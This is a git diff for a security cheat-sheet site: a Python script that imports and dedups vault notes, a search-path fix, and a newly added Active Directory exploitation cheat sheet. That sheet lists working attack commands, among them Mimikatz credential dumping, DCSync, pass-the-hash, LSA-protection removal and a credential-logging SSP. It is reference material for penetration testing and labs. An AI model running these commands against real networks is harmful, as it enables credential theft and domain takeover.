re.sub(r"\s*[-–—]?\s*(cheat\s*sheet|cheatsheet|markdown)\s*$", "", t, flags=re.I) + t = re.sub(r"\s{2,}", " ", t).strip(" -–—") + t = t or base + return TITLE_FIX.get(t, t) + +# Suffix tokens that don't change the topic, plus explicit typo/alias fixes. +STRIP_TOKENS = {"cheatsheet", "cheat", "sheet", "guide", "usage", "full", + "quick", "markdown", "htb", "complete", "expanded", "fullguide"} +ALIAS = {"gog": "gpg", "volitility3": "volatility", "volitility": "volatility", + "redmd": "recmd", "emumeration": "enumeration", "nxc": "netexec", + "crackmapexec": "netexec", "meterpreter": "metasploit"} + +def canonical(slug): + """Order-independent, de-duplicated topic key: 'privesc-windows' and + 'windows-privesc' collapse to the same thing, and 'netexec-nxc' (nxc + aliases to netexec) to just 'netexec'. Sorting + set is what makes the + dedup catch reorderings the raw slug would miss.""" + toks = [t for t in slug.split("-") if t and not t.isdigit() and t not in STRIP_TOKENS] + toks = [ALIAS.get(t, t) for t in toks] + return "-".join(sorted(set(toks))) + +# Semantic near-dups the canonical key can't catch — a second PowerShell +# sheet, a reset guide already covered by git-reset, an XSS page already +# covered by web/xss. Skip-if-present, by the user's call. +SKIP_SRC = { + "Tools/CMD-Powershell Cheat Sheet.md", # → windows-cmd-powershell + "Tools/Powershell.md", # → windows-cmd-powershell + "Tools/Certipy-ADCS-Cheatsheet.md", # → certipy + adcs-attack-methodology + "Git/Resetting.md", # → git-reset + "Git/Branches Expanded.md", # → git-branching + "Git/Branches.md", # → git-branching + "PasswordAttacks/john-cheatsheet.md", # → john-the-ripper + "PasswordAttacks/hashcat modes.md", # → hashcat + "Web/Cross-Site Scripting (XSS) - HTB Cheat Sheet.md", # → web/xss +} + +# Source filename typos, fixed only in the on-site title (content untouched). +TITLE_FIX = {"Windows Emumeration": "Windows Enumeration"} + +# ── Body clean-up (verbatim apart from vault-local scaffolding) ───────────── +def strip_frontmatter(txt): + if txt.startswith("---"): + end = txt.find("\n---", 3) + if end != -1: + nl = txt.find("\n", end + 1) + return txt[nl + 1:] if nl != -1 else "" + return txt + +def trim_preamble(txt): + """Drop anything before the first H1 — that is where a chatbot intro, + Obsidian separators, or stray notes sit. If there is no H1, keep all.""" + m = re.search(r"^# .+$", txt, flags=re.M) + return txt[m.start():] if m else txt + +def flatten_wikilinks(txt): + txt = re.sub(r"!\[\[[^\]]*\]\]", "", txt) # embeds → gone + txt = re.sub(r"\[\[([^\]|]+)\|([^\]]+)\]\]", r"\2", txt) # [[a|b]] → b + txt = re.sub(r"\[\[([^\]]+)\]\]", r"\1", txt) # [[a]] → a + return txt + +def strip_citations(txt): + """Remove [1][2]-style markers, but never touch code fences (a shell + array index or regex must survive).""" + out, in_fence = [], False + for line in txt.split("\n"): + if line.lstrip().startswith("```"): + in_fence = not in_fence + out.append(line) + continue + if in_fence: + out.append(line) + continue + # Only runs of bracketed 1–3 digit numbers, i.e. citation clusters. + out.append(re.sub(r"(?:\[\d{1,3}\])+", "", line)) + return "\n".join(out) + +def clean_body(txt): + txt = strip_frontmatter(txt) + txt = trim_preamble(txt) + txt = flatten_wikilinks(txt) + txt = strip_citations(txt) + return txt.strip() + "\n" + +# ── Derived description ───────────────────────────────────────────────────── +def first_paragraph(body): + lines = body.split("\n") + skip_h1 = True + buf = [] + for ln in lines: + s = ln.strip() + if skip_h1 and s.startswith("# "): + skip_h1 = False + continue + if not s: + if buf: + break + continue + if s[0] in "#>|-*" or s.startswith("```") or s.startswith("**MITRE"): + if buf: + break + continue + buf.append(s) + para = " ".join(buf) + para = re.sub(r"`([^`]*)`", r"\1", para) + para = re.sub(r"\*\*([^*]*)\*\*", r"\1", para) + para = re.sub(r"\*([^*]*)\*", r"\1", para) + para = re.sub(r"\[([^\]]+)\]\([^)]+\)", r"\1", para) + para = re.sub(r"\s{2,}", " ", para).strip() + if len(para) > 155: + cut = para[:155].rsplit(" ", 1)[0] + para = cut.rstrip(",.;:") + "…" + return para + +# ── tools / tags / difficulty ─────────────────────────────────────────────── +TOOL_DB = [ + ("nmap", "Nmap"), ("rustscan", "RustScan"), ("ffuf", "ffuf"), + ("gobuster", "Gobuster"), ("nuclei", "Nuclei"), ("nikto", "Nikto"), + ("wpscan", "WPScan"), ("smbmap", "smbmap"), ("netexec", "NetExec"), + ("nxc ", "NetExec"), ("crackmapexec", "NetExec"), ("impacket", "Impacket"), + ("secretsdump", "Impacket"), ("mimikatz", "Mimikatz"), ("rubeus", "Rubeus"), + ("certipy", "Certipy"), ("bloodhound", "BloodHound"), ("sharphound", "SharpHound"), + ("kerbrute", "Kerbrute"), ("ldapsearch", "ldapsearch"), ("hashcat", "Hashcat"), + ("john", "John"), ("sqlmap", "SQLMap"), ("metasploit", "Metasploit"), + ("meterpreter", "Meterpreter"), ("evil-winrm", "Evil-WinRM"), + ("chisel", "Chisel"), ("ligolo", "Ligolo-ng"), ("socat", "socat"), + ("proxychains", "proxychains"), ("responder", "Responder"), ("mitm6", "mitm6"), + ("snaffler", "Snaffler"), ("gitleaks", "Gitleaks"), ("trufflehog", "TruffleHog"), + ("tshark", "tshark"), ("volatility", "Volatility"), ("gpg", "GPG"), + ("openssl", "OpenSSL"), ("faketime", "faketime"), ("certify", "Certify"), + ("powershell", "PowerShell"), ("evil-winrm", "Evil-WinRM"), +] + +def tools_for(body): + low = body.lower() + seen, out = set(), [] + for needle, disp in TOOL_DB: + if disp in seen: + continue + if needle in low: + seen.add(disp) + out.append(disp) + if len(out) >= 5: + break + return out + +TAG_MAP = [ + ("kerberos", "kerberos"), ("kerberoast", "kerberos"), ("adcs", "adcs"), + ("esc", "adcs"), ("certificate", "adcs"), ("dcsync", "credential-access"), + ("delegation", "delegation"), ("ntlm", "ntlm"), ("relay", "relay"), + ("ticket", "kerberos"), ("privilege", "privilege-escalation"), + ("persistence", "persistence"), ("lateral", "lateral-movement"), + ("xss", "xss"), ("sql", "sql-injection"), ("lfi", "file-inclusion"), + ("forensic", "forensics"), ("pivot", "pivoting"), ("tunnel", "tunneling"), + ("hash", "hashing"), ("spray", "password-attacks"), +] + +def tags_for(cat, slug, body): + hay = (slug + " " + body[:1500]).lower() + out = [cat] + for needle, tag in TAG_MAP: + if needle in hay and tag not in out: + out.append(tag) + if len(out) >= 5: + break + return out + +ADV_HINT = re.compile(r"(esc\d|persist|theft|dcsync|delegation|golden|silver|" + r"diamond|sapphire|relay|adcs|zerologon|petitpotam|rbcd|" + r"skeleton|dsrm|sid-history|kerberoast|shadow-cred)", re.I) + +def difficulty_for(rel, slug, cat): + p = rel.lower() + if "ad-attack" in p or "acl-esc" in p or "/kerberos/" in p: + return "advanced" + if cat == "privilege-escalation": + return "advanced" + if ADV_HINT.search(slug): + return "advanced" + return "intermediate" + +# ── Existing sheets → canonical set (never clobber the curated 60) ────────── +def existing_canonicals(): + keys = {} + for root, _, files in os.walk(SHEETS): + for f in files: + if f.endswith(".md"): + slug = f[:-3] + keys[canonical(slug)] = os.path.relpath(os.path.join(root, f), SHEETS) + return keys + +def yaml_scalar(s): + return json.dumps(s, ensure_ascii=False) + +def yaml_list(xs): + return "[" + ", ".join(json.dumps(x, ensure_ascii=False) for x in xs) + "]" + +def main(): + existing = existing_canonicals() + taken = dict(existing) # canonical → where (grows as we add) + rows = [] # (decision, cat, slug, title, rel, reason) + add_plan = [] # (dest_path, frontmatter+body) + + all_md = [] + for root, _, files in os.walk(SRC): + for f in files: + if f.endswith(".md"): + all_md.append(os.path.relpath(os.path.join(root, f), SRC)) + all_md.sort() + + for rel in all_md: + if is_non_sheet(rel): + rows.append(("SKIP", "", "", "", rel, "non-sheet (meta/index/roadmap)")) + continue + if rel in SKIP_SRC: + rows.append(("SKIP", "", "", "", rel, "semantic dup of existing sheet")) + continue + + cat = category_for(rel) + title = title_from(rel) + slug = slugify(title) + key = canonical(slug) + + if key in taken: + rows.append(("SKIP", cat, slug, title, rel, f"dup of {taken[key]}")) + continue + + raw = open(os.path.join(SRC, rel), encoding="utf-8", errors="replace").read() + body = clean_body(raw) + desc = first_paragraph(body) or f"{title} — operator reference." + tools = tools_for(body) + tags = tags_for(cat, slug, body) + diff = difficulty_for(rel, slug, cat) + + fm = [ + "---", + f"title: {yaml_scalar(title)}", + f"description: {yaml_scalar(desc)}", + f"category: {cat}", + f"tags: {yaml_list(tags)}", + f"tools: {yaml_list(tools)}", + f"difficulty: {diff}", + f'updated: "{UPDATED}"', + f"source: {yaml_scalar('vault:' + rel)}", + "---", + "", + ] + dest = os.path.join(SHEETS, cat, slug + ".md") + add_plan.append((dest, "\n".join(fm) + body)) + taken[key] = f"{cat}/{slug}.md (new)" + rows.append(("ADD", cat, slug, title, rel, f"{diff} · {len(tools)} tools")) + + # Manifest + with open(MANIFEST, "w", encoding="utf-8") as fh: + fh.write("decision\tcategory\tslug\ttitle\tsource\treason\n") + for r in rows: + fh.write("\t".join(r) + "\n") + + adds = [r for r in rows if r[0] == "ADD"] + skips = [r for r in rows if r[0] == "SKIP"] + percat = {} + for r in adds: + percat[r[1]] = percat.get(r[1], 0) + 1 + + print(f"scanned {len(all_md)} source .md") + print(f" ADD {len(adds)}") + print(f" SKIP {len(skips)} " + f"({sum(1 for r in skips if 'non-sheet' in r[5])} meta, " + f"{sum(1 for r in skips if r[5].startswith('dup'))} dup)") + print(" new per category:") + for c in sorted(percat): + print(f" {c:22} {percat[c]}") + print(f"manifest → {os.path.relpath(MANIFEST, REPO)}") + + if DRY: + print("\nDRY RUN — no files written.") + return + + for dest, content in add_plan: + os.makedirs(os.path.dirname(dest), exist_ok=True) + with open(dest, "w", encoding="utf-8") as fh: + fh.write(content) + print(f"\nwrote {len(add_plan)} sheets.") + +if __name__ == "__main__": + main() diff --git a/src/components/SearchModal.astro b/src/components/SearchModal.astro @@ -82,7 +82,14 @@ import Icon from './Icon.astro'; function loadPagefind() { if (loading) return loading; - const path = `${BASE}pagefind/pagefind.js`.replace(/\/{2,}/g, '/'); + /* Join on a normalised base rather than concatenating onto it. + `BASE_URL` is `/daemon-sec-cheatsheet` — no trailing slash, because + the config sets `trailingSlash: 'ignore'` — so the old + `${BASE}pagefind/…` produced `/daemon-sec-cheatsheetpagefind/…` and + 404'd on every environment including production. Stripping any + trailing slashes first makes the join correct whether or not the + base carries one. */ + const path = `${BASE.replace(/\/+$/, '')}/pagefind/pagefind.js`; loading = import(/* @vite-ignore */ path) .then(async (mod) => { await mod.init?.(); pagefind = mod; return mod; }) .catch(() => { pagefind = false; return null; }); @@ -115,7 +122,10 @@ import Icon from './Icon.astro'; const mine = ++seq; if (!q.trim()) { results.innerHTML = '<p class="search-hint mono">Type to search the vault. <kbd>Esc</kbd> to close.</p>'; return; } await loadPagefind(); - if (pagefind === false) { results.innerHTML = '<p class="search-hint mono">Search index unavailable in dev. Run a production build.</p>'; return; } + /* The index is generated by Pagefind after `astro build`, so it exists + in `dist/` and never under `astro dev`. This is the expected state on + the dev server — `npm run preview` serves the built site with it. */ + if (pagefind === false) { results.innerHTML = '<p class="search-hint mono">Search index not loaded. It is built by <code>npm run build</code>; use <code>npm run preview</code> to search locally.</p>'; return; } const search = await pagefind.search(q); if (mine !== seq) return; const data = await Promise.all(search.results.slice(0, 8).map((r: any) => r.data())); diff --git a/src/content/sheets/active-directory/active-directory-cheat-sheet.md b/src/content/sheets/active-directory/active-directory-cheat-sheet.md @@ -0,0 +1,1378 @@ +--- +title: "Active-Directory_cheat_sheet" +description: "This cheat sheet contains common enumeration and attack methods for Windows Active Directory." +category: active-directory +tags: ["active-directory", "adcs", "privilege-escalation", "lateral-movement"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/Active-Directory_cheat_sheet.md" +--- +# Active Directory Exploitation Cheat Sheet + +This cheat sheet contains common enumeration and attack methods for Windows Active Directory. + +This cheat sheet is inspired by the [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) repo. + +![Just Walking The Dog](https://github.com/buftas/Active-Directory-Exploitation-Cheatsheet/blob/master/WalkTheDog.png) + +## Summary + +- [Active Directory Exploitation Cheat Sheet](#active-directory-exploitation-cheat-sheet) + - [Summary](#summary) + - [Tools](#tools) + - [Domain Enumeration](#domain-enumeration) + - [Using PowerView](#using-powerview) + - [Using AD Module](#using-ad-module) + - [Using BloodHound](#using-bloodhound) + - [Remote BloodHound](#remote-bloodhound) + - [On Site BloodHound](#on-site-bloodhound) + - [Using Adalanche](#using-adalanche) + - [Remote adalanche](#remote-adalanche) + - [Export Enumerated Objects](#export-enumerated-objects) + - [Useful Enumeration Tools](#useful-enumeration-tools) + - [Local Privilege Escalation](#local-privilege-escalation) + - [Useful Local Priv Esc Tools](#useful-local-priv-esc-tools) + - [Lateral Movement](#lateral-movement) + - [Powershell Remoting](#powershell-remoting) + - [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials) + - [Import a PowerShell Module and Execute its Functions Remotely](#import-a-powershell-module-and-execute-its-functions-remotely) + - [Executing Remote Stateful commands](#executing-remote-stateful-commands) + - [Mimikatz](#mimikatz) + - [Remote Desktop Protocol](#remote-desktop-protocol) + - [URL File Attacks](#url-file-attacks) + - [Useful Tools](#useful-tools) + - [Domain Privilege Escalation](#domain-privilege-escalation) + - [Kerberoast](#kerberoast) + - [ASREPRoast](#asreproast) + - [Password Spray Attack](#password-spray-attack) + - [Force Set SPN](#force-set-spn) + - [Abusing Shadow Copies](#abusing-shadow-copies) + - [List and Decrypt Stored Credentials using Mimikatz](#list-and-decrypt-stored-credentials-using-mimikatz) + - [Unconstrained Delegation](#unconstrained-delegation) + - [Constrained Delegation](#constrained-delegation) + - [Resource Based Constrained Delegation](#resource-based-constrained-delegation) + - [DNSAdmins Abuse](#dnsadmins-abuse) + - [Abusing Active Directory-Integraded DNS](#abusing-active-directory-integraded-dns) + - [Abusing Backup Operators Group](#abusing-backup-operators-group) + - [Abusing Exchange](#abusing-exchange) + - [Weaponizing Printer Bug](#weaponizing-printer-bug) + - [Abusing ACLs](#abusing-acls) + - [Abusing IPv6 with mitm6](#abusing-ipv6-with-mitm6) + - [SID History Abuse](#sid-history-abuse) + - [Exploiting SharePoint](#exploiting-sharepoint) + - [Zerologon](#zerologon) + - [PrintNightmare](#printnightmare) + - [Active Directory Certificate Services](#active-directory-certificate-services) + - [No PAC](#no-pac) + - [Domain Persistence](#domain-persistence) + - [Golden Ticket Attack](#golden-ticket-attack) + - [DCsync Attack](#dcsync-attack) + - [Silver Ticket Attack](#silver-ticket-attack) + - [Skeleton Key Attack](#skeleton-key-attack) + - [DSRM Abuse](#dsrm-abuse) + - [Custom SSP](#custom-ssp) + - [Cross Forest Attacks](#cross-forest-attacks) + - [Trust Tickets](#trust-tickets) + - [Abuse MSSQL Servers](#abuse-mssql-servers) + - [Breaking Forest Trusts](#breaking-forest-trusts) + +## Tools + +- [Powersploit](https://github.com/PowerShellMafia/PowerSploit/tree/dev) +- [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) +- [Powermad](https://github.com/Kevin-Robertson/Powermad) +- [Impacket](https://github.com/SecureAuthCorp/impacket) +- [Mimikatz](https://github.com/gentilkiwi/mimikatz) +- [Rubeus](https://github.com/GhostPack/Rubeus) -> [Compiled Version](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) +- [BloodHound](https://github.com/BloodHoundAD/BloodHound) +- [AD Module](https://github.com/samratashok/ADModule) +- [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) +- [Adalanche](https://github.com/lkarlslund/adalanche) + +## Domain Enumeration + +### Using PowerView + +[Powerview v.3.0](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)<br> +[Powerview Wiki](https://powersploit.readthedocs.io/en/latest/) + +- **Get Current Domain:** `Get-Domain` +- **Enumerate Other Domains:** `Get-Domain -Domain <DomainName>` +- **Get Domain SID:** `Get-DomainSID` +- **Get Domain Policy:** + + ```powershell + Get-DomainPolicy + + #Will show us the policy configurations of the Domain about system access or kerberos + Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess + Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy + ``` + +- **Get Domain Controllers:** + ```powershell + Get-DomainController + Get-DomainController -Domain <DomainName> + ``` +- **Enumerate Domain Users:** + + ```powershell + #Save all Domain Users to a file + Get-DomainUser | Out-File -FilePath .\DomainUsers.txt + + #Will return specific properties of a specific user + Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List + + #Enumerate user logged on a machine + Get-NetLoggedon -ComputerName <ComputerName> + + #Enumerate Session Information for a machine + Get-NetSession -ComputerName <ComputerName> + + #Enumerate domain machines of the current/specified domain where specific users are logged into + Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName + ``` + +- **Enum Domain Computers:** + + ```powershell + Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName + + #Enumerate Live machines + Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName + ``` + +- **Enum Groups and Group Members:** + + ```powershell + #Save all Domain Groups to a file: + Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt + + #Return members of Specific Group (eg. Domain Admins & Enterprise Admins) + Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member + Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName + + #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine + Get-NetLocalGroup | Select-Object GroupName + + #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine + Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain + + #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences + Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName + ``` + +- **Enumerate Shares:** + + ```powershell + #Enumerate Domain Shares + Find-DomainShare + + #Enumerate Domain Shares the current user has access + Find-DomainShare -CheckShareAccess + + #Enumerate "Interesting" Files on accessible shares + Find-InterestingDomainShareFile -Include *passwords* + ``` + +- **Enum Group Policies:** + + ```powershell + Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName + + #Enumerate all GPOs to a specific computer + Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName + + #Get users that are part of a Machine's local Admin group + Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName> + ``` + +- **Enum OUs:** + ```powershell + Get-DomainOU -Properties Name | Sort-Object -Property Name + ``` +- **Enum ACLs:** + + ```powershell + # Returns the ACLs associated with the specified account + Get-DomainObjectAcl -Identity <AccountName> -ResolveGUIDs + + #Search for interesting ACEs + Find-InterestingDomainAcl -ResolveGUIDs + + #Check the ACLs associated with a specified path (e.g smb share) + Get-PathAcl -Path "\\Path\Of\A\Share" + ``` + +- **Enum Domain Trust:** + + ```powershell + Get-DomainTrust + Get-DomainTrust -Domain <DomainName> + + #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds + Get-DomainTrustMapping + ``` + +- **Enum Forest Trust:** + + ```powershell + Get-ForestDomain + Get-ForestDomain -Forest <ForestName> + + #Map the Trust of the Forest + Get-ForestTrust + Get-ForestTrust -Forest <ForestName> + ``` + +- **User Hunting:** + + ```powershell + #Finds all machines on the current domain where the current user has local admin access + Find-LocalAdminAccess -Verbose + + #Find local admins on all machines of the domain + Find-DomainLocalGroupMember -Verbose + + #Find computers were a Domain Admin OR a specified user has a session + Find-DomainUserLocation | Select-Object UserName, SessionFromName + + #Confirming admin access + Test-AdminAccess + ``` + + :heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \ + I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit! + +### Using AD Module + +- **Get Current Domain:** `Get-ADDomain` +- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>` +- **Get Domain SID:** `Get-DomainSID` +- **Get Domain Controlers:** + + ```powershell + Get-ADDomainController + Get-ADDomainController -Identity <DomainName> + ``` + +- **Enumerate Domain Users:** + + ```powershell + Get-ADUser -Filter * -Identity <user> -Properties * + + #Get a specific "string" on a user's attribute + Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description + ``` + +- **Enum Domain Computers:** + ```powershell + Get-ADComputer -Filter * -Properties * + Get-ADGroup -Filter * + ``` +- **Enum Domain Trust:** + ```powershell + Get-ADTrust -Filter * + Get-ADTrust -Identity <DomainName> + ``` +- **Enum Forest Trust:** + + ```powershell + Get-ADForest + Get-ADForest -Identity <ForestName> + + #Domains of Forest Enumeration + (Get-ADForest).Domains + ``` + +- **Enum Local AppLocker Effective Policy:** + + ```powershell + Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections + ``` + +### Using BloodHound + +#### Remote BloodHound + +[Python BloodHound Repository](https://github.com/fox-it/BloodHound.py) or install it with `pip3 install bloodhound` + +```powershell +bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All +``` + +#### On Site BloodHound + +```powershell +#Using exe ingestor +.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile> + +#Using PowerShell module ingestor +. .\SharpHound.ps1 +Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile> +``` + +### Using Adalanche + +#### Remote Adalanche + +```bash +# kali linux: +./adalanche collect activedirectory --domain <Domain> \ +--username <Username@Domain> --password <Password> \ +--server <DC> + +# Example: +./adalanche collect activedirectory --domain windcorp.local \ +--username spoNge369@windcorp.local --password 'password123!' \ +--server dc.windcorp.htb +## -> Terminating successfully + +## Any error?: + +# LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ? + +./adalanche collect activedirectory --domain windcorp.local \ +--username spoNge369@windcorp.local --password 'password123!' \ +--server dc.windcorp.htb --tlsmode NoTLS --port 389 + +# Invalid Credentials ? +./adalanche collect activedirectory --domain windcorp.local \ +--username spoNge369@windcorp.local --password 'password123!' \ +--server dc.windcorp.htb --tlsmode NoTLS --port 389 \ +--authmode basic + +# Analyze data +# go to web browser -> 127.0.0.1:8080 +./adalanche analyze +``` + +#### Export Enumerated Objects + +You can export enumerated objects from any module/cmdlet into an XML file for later ananlysis. + +The `Export-Clixml` cmdlet creates a Common Language Infrastructure (CLI) XML-based representation of an object or objects and stores it in a file. You can then use the `Import-Clixml` cmdlet to recreate the saved object based on the contents of that file. + +```powershell +# Export Domain users to xml file. +Get-DomainUser | Export-CliXml .\DomainUsers.xml + +# Later, when you want to utilise them for analysis even on any other machine. +$DomainUsers = Import-CliXml .\DomainUsers.xml + +# You can now apply any condition, filters, etc. + +$DomainUsers | select name + +$DomainUsers | ? {$_.name -match "User's Name"} +``` + +### Useful Enumeration Tools + +- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) Information dumper via LDAP +- [adidnsdump](https://github.com/dirkjanm/adidnsdump) Integrated DNS dumping by any authenticated user +- [ACLight](https://github.com/cyberark/ACLight) Advanced Discovery of Privileged Accounts +- [ADRecon](https://github.com/sense-of-security/ADRecon) Detailed Active Directory Recon Tool + +## Local Privilege Escalation + +- [Windows Local Privilege Escalation Cookbook](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook) Cookbook for Windows Local Privilege Escalations + +- [Juicy Potato](https://github.com/ohpe/juicy-potato) Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation + + :warning: Works only until Windows Server 2016 and Windows 10 until patch 1803 + +- [Lovely Potato](https://github.com/TsukiCTF/Lovely-Potato) Automated Juicy Potato + + :warning: Works only until Windows Server 2016 and Windows 10 until patch 1803 + +- [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) Exploit the PrinterBug for System Impersonation + + :pray: Works for Windows Server 2019 and Windows 10 + +- [RoguePotato](https://github.com/antonioCoco/RoguePotato) Upgraded Juicy Potato + + :pray: Works for Windows Server 2019 and Windows 10 + +- [Abusing Token Privileges](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/) +- [SMBGhost CVE-2020-0796](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/) \ + [PoC](https://github.com/danigargu/CVE-2020-0796) +- [CVE-2021-36934 (HiveNightmare/SeriousSAM)](https://github.com/cube0x0/CVE-2021-36934) + +### Useful Local Priv Esc Tools + +- [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) Misconfiguration Abuse +- [BeRoot](https://github.com/AlessandroZ/BeRoot) General Priv Esc Enumeration Tool +- [Privesc](https://github.com/enjoiz/Privesc) General Priv Esc Enumeration Tool +- [FullPowers](https://github.com/itm4n/FullPowers) Restore A Service Account's Privileges + +## Lateral Movement + +### PowerShell Remoting + +```powershell +#Enable PowerShell Remoting on current Machine (Needs Admin Access) +Enable-PSRemoting + +#Entering or Starting a new PSSession (Needs Admin Access) +$sess = New-PSSession -ComputerName <Name> +Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName> +``` + +### Remote Code Execution with PS Credentials + +```powershell +$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword) +Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami} +``` + +### Import a PowerShell Module and Execute its Functions Remotely + +```powershell +#Execute the command and start a session +Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess + +#Interact with the session +Enter-PSSession -Session $sess + +``` + +### Executing Remote Stateful commands + +```powershell +#Create a new session +$sess = New-PSSession -ComputerName <NameOfComputer> + +#Execute command on the session +Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} + +#Check the result of the command to confirm we have an interactive session +Invoke-Command -Session $sess -ScriptBlock {$ps} +``` + +### Mimikatz + +```powershell +#The commands are in cobalt strike format! + +#Dump LSASS: +mimikatz privilege::debug +mimikatz token::elevate +mimikatz sekurlsa::logonpasswords + +#(Over) Pass The Hash +mimikatz privilege::debug +mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN> + +#List all available kerberos tickets in memory +mimikatz sekurlsa::tickets + +#Dump local Terminal Services credentials +mimikatz sekurlsa::tspkg + +#Dump and save LSASS in a file +mimikatz sekurlsa::minidump c:\temp\lsass.dmp + +#List cached MasterKeys +mimikatz sekurlsa::dpapi + +#List local Kerberos AES Keys +mimikatz sekurlsa::ekeys + +#Dump SAM Database +mimikatz lsadump::sam + +#Dump SECRETS Database +mimikatz lsadump::secrets + +#Inject and dump the Domain Controler's Credentials +mimikatz privilege::debug +mimikatz token::elevate +mimikatz lsadump::lsa /inject + +#Dump the Domain's Credentials without touching DC's LSASS and also remotely +mimikatz lsadump::dcsync /domain:<DomainFQDN> /all + +#Dump old passwords and NTLM hashes of a user +mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history + +#List and Dump local kerberos credentials +mimikatz kerberos::list /dump + +#Pass The Ticket +mimikatz kerberos::ptt <PathToKirbiFile> + +#List TS/RDP sessions +mimikatz ts::sessions + +#List Vault credentials +mimikatz vault::list +``` + +:exclamation: What if mimikatz fails to dump credentials because of LSA Protection controls ? + +- LSA as a Protected Process (Kernel Land Bypass) + + ```powershell + #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1 + reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa + + #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe + #Now lets import the mimidriver.sys to the system + mimikatz # !+ + + #Now lets remove the protection flags from lsass.exe process + mimikatz # !processprotect /process:lsass.exe /remove + + #Finally run the logonpasswords function to dump lsass + mimikatz # sekurlsa::logonpasswords + ``` + +- LSA as a Protected Process (Userland "Fileless" Bypass) + + - [PPLdump](https://github.com/itm4n/PPLdump) + - [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland) + +- LSA is running as virtualized process (LSAISO) by Credential Guard + + ```powershell + #Check if a process called lsaiso.exe exists on the running processes + tasklist |findstr lsaiso + + #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. + #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides + mimikatz # misc::memssp + + #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log + ``` + +- [Detailed Mimikatz Guide](https://adsecurity.org/?page_id=1821) +- [Poking Around With 2 lsass Protection Options](https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a) + +### Remote Desktop Protocol + +If the host we want to lateral move to has "RestrictedAdmin" enabled, we can pass the hash using the RDP protocol and get an interactive session without the plaintext password. + +- Mimikatz: + + ```powershell + #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag + privilege::debug + sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin" + + #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated + ``` + +- xFreeRDP: + +```powershell +xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress> +``` + +:exclamation: If Restricted Admin mode is disabled on the remote machine we can connect on the host using another tool/protocol like psexec or winrm and enable it by creating the following registry key and setting it's value zero: 